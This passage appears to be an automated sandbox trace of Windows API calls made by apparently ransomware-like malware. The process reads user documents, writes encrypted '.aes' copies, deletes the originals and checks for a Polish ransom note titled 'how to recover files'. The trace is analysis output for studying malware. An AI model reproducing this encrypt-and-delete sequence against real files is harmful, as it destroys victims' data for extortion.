lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx", lpFilePart=0x0) returned 0x3e [0076.936] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\twiwowooujkw1 zw.xlsx")) returned 1 [0076.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x43 [0076.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0076.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79b9280, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe79b9280, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe79df3e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0076.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0076.937] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0076.965] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc", lpFilePart=0x0) returned 0x41 [0076.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0076.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\x4gpvtjmanpijoufg-lc.doc"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6804a560, ftCreationTime.dwHighDateTime=0x1d2fa23, ftLastAccessTime.dwLowDateTime=0x3a71b1d0, ftLastAccessTime.dwHighDateTime=0x1d304f3, ftLastWriteTime.dwLowDateTime=0x3a71b1d0, ftLastWriteTime.dwHighDateTime=0x1d304f3, nFileSizeHigh=0x0, nFileSizeLow=0xea07)) returned 1 [0076.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0076.965] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc", lpFilePart=0x0) returned 0x41 [0076.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0076.965] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\x4gpvtjmanpijoufg-lc.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0076.965] GetFileType (hFile=0x8e4) returned 0x1 [0076.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0076.965] GetFileType (hFile=0x8e4) returned 0x1 [0076.965] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc.aes", lpFilePart=0x0) returned 0x45 [0076.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0076.965] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\x4gpvtjmanpijoufg-lc.doc.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0076.966] GetFileType (hFile=0x7ec) returned 0x1 [0076.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0076.966] GetFileType (hFile=0x7ec) returned 0x1 [0076.966] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0076.974] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0076.974] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0076.981] LocalFree (hMem=0x703ef10) returned 0x0 [0076.981] GetAdaptersAddresses () returned 0x6f [0076.986] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0076.986] GetAdaptersAddresses () returned 0x0 [0076.991] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.998] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.998] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.004] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.004] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.010] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.010] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.020] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.020] LocalFree (hMem=0x7074460) returned 0x0 [0077.020] GetBestInterfaceEx (in: pDestAddr=0x2782880*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0077.107] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.108] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.108] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.108] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.108] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.108] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.109] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.109] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.109] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.109] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.109] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.109] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.110] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.110] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.110] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.110] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.110] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.110] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.110] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.110] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.111] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.111] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.111] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.111] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.111] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.111] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.111] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.112] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0xa07, lpOverlapped=0x0) returned 1 [0077.112] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c1c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0077.112] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0xb21, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce974*=0xb21, lpOverlapped=0x0) returned 1 [0077.112] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756960*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2756960*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0077.112] CloseHandle (hObject=0x7ec) returned 1 [0077.113] CloseHandle (hObject=0x8e4) returned 1 [0077.113] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc", lpFilePart=0x0) returned 0x41 [0077.113] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\x4gPVtjMaNPIjOUfG-lC.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\x4gpvtjmanpijoufg-lc.doc")) returned 1 [0077.114] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x43 [0077.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0077.114] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79b9280, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe79b9280, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe79df3e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0077.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0077.114] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0077.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf", lpFilePart=0x0) returned 0x38 [0077.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0077.136] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\0kc5nr5.rtf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d51b8e0, ftCreationTime.dwHighDateTime=0x1d30432, ftLastAccessTime.dwLowDateTime=0x531d66d0, ftLastAccessTime.dwHighDateTime=0x1d2fff2, ftLastWriteTime.dwLowDateTime=0x531d66d0, ftLastWriteTime.dwHighDateTime=0x1d2fff2, nFileSizeHigh=0x0, nFileSizeLow=0x15774)) returned 1 [0077.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0077.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf", lpFilePart=0x0) returned 0x38 [0077.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0077.137] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\0kc5nr5.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0077.137] GetFileType (hFile=0x8e4) returned 0x1 [0077.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0077.137] GetFileType (hFile=0x8e4) returned 0x1 [0077.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf.aes", lpFilePart=0x0) returned 0x3c [0077.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0077.137] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf.aes" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\0kc5nr5.rtf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0077.137] GetFileType (hFile=0x7ec) returned 0x1 [0077.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0077.137] GetFileType (hFile=0x7ec) returned 0x1 [0077.138] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0077.146] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0077.146] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0077.153] LocalFree (hMem=0x703ef10) returned 0x0 [0077.153] GetAdaptersAddresses () returned 0x6f [0077.162] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0077.162] GetAdaptersAddresses () returned 0x0 [0077.167] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.173] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.173] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.179] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.179] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.185] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.185] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.192] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.192] LocalFree (hMem=0x7074460) returned 0x0 [0077.192] GetBestInterfaceEx (in: pDestAddr=0x27b6b7c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0077.279] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.281] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.281] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.281] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.281] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.281] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.282] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.282] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.282] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.282] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.282] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.282] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.282] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.283] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.283] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 